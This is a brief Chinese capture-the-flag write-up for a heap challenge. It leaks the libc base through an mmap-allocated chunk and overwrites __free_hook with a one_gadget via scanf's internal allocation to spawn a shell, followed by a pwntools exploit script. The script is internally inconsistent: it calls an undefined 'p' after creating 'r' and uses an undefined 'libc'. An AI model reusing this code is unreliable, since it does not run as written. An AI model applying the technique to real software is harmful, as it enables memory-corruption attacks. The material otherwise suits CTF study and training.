绿
程序逻辑很简单
首先因为我们可以任意申请大小chunk,所以我们就直接申请一个大的,超过mmap的阈值,然后通过mmap给我们分配chunk。
mmap到的chunk会跟libc紧挨着,所以我们可以用它来泄露libc地址。
scanf 处理长字符时会申请堆块,然后用完会释放,所以我们就向 free_hook 写入 one_gadget 的同时,释放堆块 getshell
由于 scanf 格式化字符串是 %zu ,所以在 onegadget 前面加 0 ,写入 free_hook 的还是 onegadget ,利用这个特点,在写入 free_hook 同时触发 free_hook
exp
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
r = process("./pwn")
r.sendlineafter("big?\n",str(10000000))
r.recvuntil('here: ')
heap_addr = int(r.recvline().strip(),16)
libc_base = heap_addr-(0x7f8458780010-0x7f845910a000)
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4527a
p.sendlineafter("long?\n",str((free_hook - heap_addr)//8))
p.sendlineafter("do?\n",0x500*"0"+str(one_gadget))
p.interactive()